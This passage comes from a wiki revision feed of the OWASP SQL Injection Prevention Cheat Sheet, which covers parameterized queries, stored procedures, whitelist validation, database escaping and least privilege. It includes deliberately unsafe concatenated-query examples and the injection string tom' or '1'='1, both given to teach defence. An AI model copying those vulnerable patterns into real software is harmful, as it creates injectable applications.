;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples	&lt;br /&gt;
&lt;br /&gt;
  First is an unsafe HQL Statement&lt;br /&gt;
  &lt;br /&gt;
  Query unsafeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID='&amp;quot;+userSuppliedParameter+&amp;quot;'&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  Here is a safe version of the same query using named parameters&lt;br /&gt;
  &lt;br /&gt;
  Query safeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID=:productid&amp;quot;);&lt;br /&gt;
  safeHQLQuery.setParameter(&amp;quot;productid&amp;quot;, userSuppliedParameter);&lt;br /&gt;
&lt;br /&gt;
For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.&lt;br /&gt;
&lt;br /&gt;
Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.&lt;br /&gt;
&lt;br /&gt;
== Defense Option 2: Stored Procedures ==&lt;br /&gt;
 &lt;br /&gt;
Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.&lt;br /&gt;
 	&lt;br /&gt;
&amp;amp;#42;Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.&lt;br /&gt;
 &lt;br /&gt;
There are also several cases where stored procedures can increase risk.  For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8&lt;br /&gt;
&lt;br /&gt;
;Safe Java Stored Procedure Example&lt;br /&gt;
&lt;br /&gt;
The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated&lt;br /&gt;
  try {&lt;br /&gt;
  	'''CallableStatement cs = connection.prepareCall(&amp;quot;{call sp_getAccountBalance(?)}&amp;quot;);'''&lt;br /&gt;
  	'''cs.setString(1, custname);'''&lt;br /&gt;
  	ResultSet results = cs.executeQuery();		&lt;br /&gt;
  	// … result set handling &lt;br /&gt;
  } catch (SQLException se) {			&lt;br /&gt;
  	// … logging and error handling&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
;Safe VB .NET Stored Procedure Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  Try&lt;br /&gt;
  	Dim command As SqlCommand = new SqlCommand(&amp;quot;sp_getAccountBalance&amp;quot;, connection)&lt;br /&gt;
  	'''command.CommandType = CommandType.StoredProcedure'''&lt;br /&gt;
  	'''command.Parameters.Add(new SqlParameter(&amp;quot;@CustomerName&amp;quot;, CustomerName.Text))'''&lt;br /&gt;
  	Dim reader As SqlDataReader = command.ExecuteReader()&lt;br /&gt;
  	‘ …&lt;br /&gt;
  Catch se As SqlException &lt;br /&gt;
  	‘ error handling&lt;br /&gt;
  End Try&lt;br /&gt;
&lt;br /&gt;
== Defense Option 3: White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.&lt;br /&gt;
&lt;br /&gt;
  String tableName;&lt;br /&gt;
  switch(PARAM):&lt;br /&gt;
    case &amp;quot;Value1&amp;quot;: tableName = &amp;quot;fooTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
    case &amp;quot;Value2&amp;quot;: tableName = &amp;quot;barTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
      ...&lt;br /&gt;
    default      : throw new InputValidationException(&amp;quot;unexpected value provided for table name&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.&lt;br /&gt;
&lt;br /&gt;
For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:&lt;br /&gt;
&lt;br /&gt;
  public String someMethod(boolean sortOrder) {&lt;br /&gt;
  &lt;br /&gt;
  String SQLquery = &amp;quot;some SQL ... order by Salary &amp;quot; + (sortOrder ? &amp;quot;ASC&amp;quot; : &amp;quot;DESC&amp;quot;);&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.&lt;br /&gt;
&lt;br /&gt;
Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Defense Option 4: Escaping All User-Supplied Input==&lt;br /&gt;
&lt;br /&gt;
This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations. &lt;br /&gt;
&lt;br /&gt;
This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.&lt;br /&gt;
&lt;br /&gt;
This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.&lt;br /&gt;
&lt;br /&gt;
* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].&lt;br /&gt;
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.&lt;br /&gt;
* [https://github.com/ESAPI/esapi-java-legacy The legacy ESAPI for Java 2.x at GitHub] helps understand existing use of it when Javadoc seems insufficient.&lt;br /&gt;
* [https://github.com/ESAPI/esapi-java The planned ESAPI for Java 3.x GitHub] has other approaches and no tests or concrete codecs.&lt;br /&gt;
&lt;br /&gt;
To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.&lt;br /&gt;
&lt;br /&gt;
Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.&lt;br /&gt;
&lt;br /&gt;
At this time, ESAPI currently has database encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* MySQL (Both ANSI and native modes are supported)&lt;br /&gt;
&lt;br /&gt;
Database encoders are forthcoming for:&lt;br /&gt;
* SQL Server&lt;br /&gt;
* PostgreSQL&lt;br /&gt;
&lt;br /&gt;
If your database encoder is missing, please let us know.&lt;br /&gt;
&lt;br /&gt;
===Database Specific Escaping Details===&lt;br /&gt;
&lt;br /&gt;
If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* SQL Server&lt;br /&gt;
* DB2&lt;br /&gt;
&lt;br /&gt;
====Oracle Escaping====&lt;br /&gt;
&lt;br /&gt;
This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F&lt;br /&gt;
&lt;br /&gt;
=====Escaping Dynamic Queries=====&lt;br /&gt;
&lt;br /&gt;
To use an ESAPI database codec is pretty simple. An Oracle example looks something like:&lt;br /&gt;
  ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );&lt;br /&gt;
&lt;br /&gt;
So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) &lt;br /&gt;
  + &amp;quot;' and user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
      Statement statement = connection.createStatement( … );&lt;br /&gt;
      ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
You would rewrite the first line to look like this:&lt;br /&gt;
&lt;br /&gt;
 '''Codec ORACLE_CODEC = new OracleCodec();'''&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + &lt;br /&gt;
    '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot;&lt;br /&gt;
    + '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
And it would now be safe from SQL injection, regardless of the input supplied.&lt;br /&gt;
&lt;br /&gt;
For maximum code readability, you could also construct your own OracleEncoder.&lt;br /&gt;
&lt;br /&gt;
  Encoder oe = new OracleEncoder();&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.&lt;br /&gt;
&lt;br /&gt;
=====Turn off character replacement=====&lt;br /&gt;
&lt;br /&gt;
Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the &amp;amp; character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data. &lt;br /&gt;
&lt;br /&gt;
See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information&lt;br /&gt;
&lt;br /&gt;
=====Escaping Wildcard characters in Like Clauses=====&lt;br /&gt;
&lt;br /&gt;
The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%/_%' ESCAPE '/';&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%\%%' ESCAPE '\';&lt;br /&gt;
&lt;br /&gt;
=====Oracle 10g escaping=====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====MySQL Escaping====&lt;br /&gt;
&lt;br /&gt;
MySQL supports two escaping modes:&lt;br /&gt;
&lt;br /&gt;
# ANSI_QUOTES SQL mode, and a mode with this off, which we call&lt;br /&gt;
# MySQL mode.&lt;br /&gt;
&lt;br /&gt;
ANSI SQL mode: Simply encode all ' (single tick) characters with '&amp;amp;#39; (two single ticks)&lt;br /&gt;
&lt;br /&gt;
MySQL mode, do the following:&lt;br /&gt;
&lt;br /&gt;
  NUL (0x00) --&amp;gt; \0  [This is a zero, not the letter O]&lt;br /&gt;
  BS  (0x08) --&amp;gt; \b&lt;br /&gt;
  TAB (0x09) --&amp;gt; \t&lt;br /&gt;
  LF  (0x0a) --&amp;gt; \n&lt;br /&gt;
  CR  (0x0d) --&amp;gt; \r&lt;br /&gt;
  SUB (0x1a) --&amp;gt; \Z&lt;br /&gt;
  &amp;quot;   (0x22) --&amp;gt; \&amp;quot;&lt;br /&gt;
  %   (0x25) --&amp;gt; \%&lt;br /&gt;
  '   (0x27) --&amp;gt; \'&lt;br /&gt;
  \   (0x5c) --&amp;gt; \\&lt;br /&gt;
  _   (0x5f) --&amp;gt; \_ &lt;br /&gt;
  all other non-alphanumeric characters with ASCII values less than 256  --&amp;gt; \c&lt;br /&gt;
  where 'c' is the original non-alphanumeric character.&lt;br /&gt;
&lt;br /&gt;
This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html&lt;br /&gt;
&lt;br /&gt;
====SQL Server Escaping====&lt;br /&gt;
&lt;br /&gt;
We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server&lt;br /&gt;
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====DB2 Escaping====&lt;br /&gt;
This information is based on DB2 WebQuery special characters found here:  https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983&lt;br /&gt;
as well as some information from Oracle's JDBC DB2 driver found here:&lt;br /&gt;
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html&lt;br /&gt;
&lt;br /&gt;
Information in regards to differences between several DB2 Universal drivers can be found here:  http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm&lt;br /&gt;
&lt;br /&gt;
===Hex-encoding all input===&lt;br /&gt;
&lt;br /&gt;
A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character).  The web application should hex-encode the user input before including it in the SQL statement.  The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:&lt;br /&gt;
&lt;br /&gt;
    SELECT ... FROM session&lt;br /&gt;
    WHERE hex_encode (sessionID) = '616263313233'&lt;br /&gt;
&lt;br /&gt;
(hex_encode should be replaced by the particular facility for the database being used.)  The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).&lt;br /&gt;
&lt;br /&gt;
If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:&lt;br /&gt;
&lt;br /&gt;
    WHERE hex_encode ( ... ) = '2720 ... '&lt;br /&gt;
&lt;br /&gt;
27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string.  The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.&lt;br /&gt;
&lt;br /&gt;
===Escaping SQLi in PHP===&lt;br /&gt;
&lt;br /&gt;
Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;You basically have two options to achieve this:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $pdo-&amp;gt;prepare('SELECT * FROM employees WHERE name = :name');&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute(array('name' =&amp;gt; $name));&lt;br /&gt;
&lt;br /&gt;
foreach ($stmt as $row) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $dbConnection-&amp;gt;prepare('SELECT * FROM employees WHERE name = ?');&lt;br /&gt;
$stmt-&amp;gt;bind_param('s', $name);&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute();&lt;br /&gt;
&lt;br /&gt;
$result = $stmt-&amp;gt;get_result();&lt;br /&gt;
while ($row = $result-&amp;gt;fetch_assoc()) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).&lt;br /&gt;
&lt;br /&gt;
= Additional Defenses =&lt;br /&gt;
&lt;br /&gt;
Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:&lt;br /&gt;
&lt;br /&gt;
* '''Least Privilege'''&lt;br /&gt;
* '''White List Input Validation'''&lt;br /&gt;
&lt;br /&gt;
== Least Privilege ==&lt;br /&gt;
&lt;br /&gt;
To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.&lt;br /&gt;
&lt;br /&gt;
If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.&lt;br /&gt;
&lt;br /&gt;
SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.&lt;br /&gt;
&lt;br /&gt;
While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.&lt;br /&gt;
&lt;br /&gt;
=== Multiple DB Users ===&lt;br /&gt;
&lt;br /&gt;
The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.&lt;br /&gt;
&lt;br /&gt;
As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords.  The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself.  Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.&lt;br /&gt;
&lt;br /&gt;
== White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Related Articles=&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection Attack Cheat Sheets'''&lt;br /&gt;
&lt;br /&gt;
The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* &amp;quot;Bypassing WAF's with SQLi&amp;quot; - [[SQL Injection Bypassing WAF]]&lt;br /&gt;
&lt;br /&gt;
'''Description of SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* OWASP article on [[SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Avoid SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]&lt;br /&gt;
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Test for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:jmanico|Jim Manico]] - jim[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Matt Seil - mseil[at]acm.org&amp;lt;br&amp;gt;&lt;br /&gt;
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets = &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237382</id>
		<title>SQL Injection Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237382"/>
				<updated>2018-02-07T03:51:26Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ sync with project moves, use a descriptive style&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:&lt;br /&gt;
&lt;br /&gt;
# the significant prevalence of SQL Injection vulnerabilities, and &lt;br /&gt;
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).&lt;br /&gt;
&lt;br /&gt;
It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.&lt;br /&gt;
&lt;br /&gt;
SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:&lt;br /&gt;
a) stop writing dynamic queries; and/or&lt;br /&gt;
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.&lt;br /&gt;
&lt;br /&gt;
This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.&lt;br /&gt;
&lt;br /&gt;
Primary Defenses:&lt;br /&gt;
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''&lt;br /&gt;
* '''Option 2: Use of Stored Procedures'''&lt;br /&gt;
* '''Option 3: White List Input Validation'''&lt;br /&gt;
* '''Option 4: Escaping All User Supplied Input'''&lt;br /&gt;
&lt;br /&gt;
Additional Defenses:&lt;br /&gt;
* '''Also: Enforcing Least Privilege'''&lt;br /&gt;
* '''Also: Performing White List Input Validation as a Secondary Defense'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
;Unsafe Example&lt;br /&gt;
&lt;br /&gt;
SQL injection flaws typically look like this:&lt;br /&gt;
&lt;br /&gt;
The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = &amp;quot;&lt;br /&gt;
    + request.getParameter(&amp;quot;customerName&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  try {&lt;br /&gt;
  	Statement statement = connection.createStatement( … );&lt;br /&gt;
  	ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
=Primary Defenses=&lt;br /&gt;
&lt;br /&gt;
==Defense Option 1: Prepared Statements (with Parameterized Queries)==&lt;br /&gt;
&lt;br /&gt;
The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.&lt;br /&gt;
&lt;br /&gt;
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.&lt;br /&gt;
&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
* Java EE – use PreparedStatement() with bind variables&lt;br /&gt;
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables&lt;br /&gt;
* PHP – use PDO with strongly typed parameterized queries (using bindParam())&lt;br /&gt;
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)&lt;br /&gt;
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]&lt;br /&gt;
&lt;br /&gt;
